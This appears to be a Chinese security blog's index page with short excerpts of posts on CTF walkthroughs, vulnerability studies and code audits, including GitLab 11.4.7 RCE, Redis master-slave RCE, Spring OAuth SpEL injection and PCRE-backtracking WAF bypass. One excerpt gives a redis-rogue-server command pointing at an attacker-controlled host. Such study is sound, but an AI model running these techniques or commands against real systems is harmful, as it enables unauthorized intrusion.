安全研究与工程实践

从语雀迁移的技术文章。

HackTheBox：Ready笔记

入口 Nmap http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE) 如何获取Gitlab版本呢？——根据https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab，可知注册用户、上去看到版本搜索之，有exp https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py 顺利拿到git用户shell 提权 version: '2.4' services: web: image: 'gitlab/gitlab-ce:11.4.7-ce.0' restart: always hostname: 'gitlab.example.com' environment: GITLAB_OMNIBUS_CONFIG: | external_url 'http://172.19.0.2' redis['bind']='127.0.0.1' redis['port']=6379 gitlab_rails['initial_root_password']=File.read('/root_pass') networks: gitlab: ipv4_address: 172.19.0.2 ports: - '5080:80' #- '127.0.0.1:5080:80' #- '127.0.0.1:50443:443' #- '127.0.0.1:5022:22' volumes: - './srv/gitlab/config:/etc/gitlab' - './srv/gitlab/logs:/var/log/gitlab' - './srv/gitlab/data:/var/opt/gitlab' - './root_pass:/root_pass' privileged: true restart: unless-stopped #mem_limit: 1024m networks: gitlab: driver: bridge ipam: config: - subnet: 172.19.0.0/16 跟进 ...

Attacking GraphQL——从DVGA靶场学习GraphQL安全

0x00 背景首先介绍一下：什么是GraphQL，参考这篇文章即可 See:https://zhuanlan.zhihu.com/p/124019191、客户端首先与GraphQL进行交互，后者又与任意代码进行交互，并最终结束与数据库的对话。描述这种情况的图是： ...

Redis <= 5.0.5 主从复制 RCE学习笔记

# Redis <= 5.0.5 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443 redis-rogue-server_poison.zip 一、前言环境搭建使用docker搭建好环境 docker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server 正常使用主从功能 Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。 ...

【CVE-2016-4977】Spring Security OAuth RCE 漏洞学习

0x01 背景 Spring Security OAuth是为Spring框架提供安全认证支持的一个模块，在7月5日其维护者发布了这样一个升级公告，主要说明在用户使用Whitelabel views来处理错误时，攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录。 SpEL表达式注入！（1）受影响版本 org.springframework.security.oauth - spring-security-oauth2 2.0.0 to 2.0.9 1.0.0 to 1.0.5 到maven仓库看了看，发现2.0.X是2016年2月发的包，也就是说发布后半年左右被挖出来有漏洞。从这一点，我们也能得出一个结论：黑客并不是时时刻刻在关注官方更新，也就是说：真实世界的0day漏洞，总是有机会被你挖到的。而1.X是全系有漏洞。 ...

【翻译】OWASP NodeJS 安全

直接看PDF就好。【翻译】OWASP_NodeJS安全.pdf

【投稿】某运维系统的代码审计笔记（Django+MongoDB+Redis）

本文首发投稿于阿里云先知社区某运维系统的代码审计笔记（Django+MongoDB+Redis），转载请注明出处。这套系统，是在某次行动的时候遇到的，当时是通过弱密码+后台命令注入来实现getshell。后续觉得还蛮有意思，抽个周六审计了下，却发现在某些情况下居然可以直接前台RCE。。。 ...

【投稿】记一次Java Servlet实战审计

本文首发于阿里云先知社区记一次Java Servlet实战审计 - 先知社区，转载请注明出处。感谢观看！ 0x00 背景某次渗透中，遇到个jsp的站，弱密码进到后台以后，却发现功能很少，并不好搞，简单排查后并无突破，然而老大给的要求是尽快搞到shell。。。 ...

Spark 未授权RCE漏洞

Spark这套计算框架，有多种部署方式，可以部署到一台计算机，也可以是多台(cluster)。我们要去计算数据，就必须要有计算机帮我们计算，当然计算机越多(集群规模越大)，我们的计算力就越强。但有时候我们只想在本机做个试验或者小型的计算，因此直接部署在单机上也是可以的。 ...

利用PCRE回溯绕过PHP中的正则表达式

正则表达式简介 PHP 正则表达式特殊字符 [:alnum:] [:alpha:] 等 For example, ‘<font style="color:rgb(0, 0, 0);">[[:alnum:]]</font>’ means ‘<font style="color:rgb(0, 0, 0);">[0-9A-Za-z]</font>’, 正则表达式中有两个很重要的特殊字符就是"[ ]"。他们可以匹配"[]"之中出现过的字符，比如"/[az]/"可以匹配单个字符"a"或者"z"；如果把上面的表达式改成这样"/[a-z]/"，就可以匹配任何单个小写字母，比如"a"、"b"等等。如果在"[]"中出现了"^"，代表本表达式不匹配"[]"内出现的字符，比如"/[^a-z]/"不匹配任何小写字母！并且正则表达式给出了几种"[]"的默认值，如下： # '[:alnum:]' 匹配任何字母 Alphanumeric characters: '[:alpha:]' and '[:digit:]'. # '[:alpha:]' 匹配任何字母和数字 Alphabetic characters: '[:lower:]' and '[:upper:]'. # '[:blank:]' Blank characters: space and tab. # '[:cntrl:]' Control characters. In ASCII, these characters have octal codes 000 through 037, and 177 ('DEL'). In other character sets, these are the equivalent characters, if any. # '[:digit:]' 匹配任何数字 Digits: '0 1 2 3 4 5 6 7 8 9'. # '[:graph:]' Graphical characters: '[:alnum:]' and '[:punct:]'. # '[:lower:]' 匹配任何小写字母 Lower-case letters: 'a b c d e f g h i j k l m n o p q r s t u v w x y z'. # '[:print:]' Printable characters: '[:alnum:]', '[:punct:]', and space. # '[:punct:]' 匹配任何标点符号 Punctuation characters: '! " # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ' { | } ~'. # '[:space:]' 匹配空格符 Space characters: tab, newline, vertical tab, form feed, carriage return, and space. # '[:upper:]' 匹配任何大写字母 Upper-case letters: 'A B C D E F G H I J K L M N O P Q R S T U V W X Y Z'. # '[:xdigit:]' 匹配任何16进制数字 Hexadecimal digits: '0 1 2 3 4 5 6 7 8 9 A B C D E F a b c d e f'. 背景介绍首先，来看一段在waf上很常见的正则， ...

Code-Breaking 审计记录[7/9]

地址：https://code-breaking.com/intro/ 0x08 picklecode Hard 首先，需要补充以下格式化字符串漏洞的知识，见https://blog.csdn.net/wenrennaoda/article/details/107224921 的确是存在格式化字符串漏洞的。那首先就要利用此洞来泄露Django的SECRET_KEY，这可以通过本地PHPCharm搭建环境来找到 ...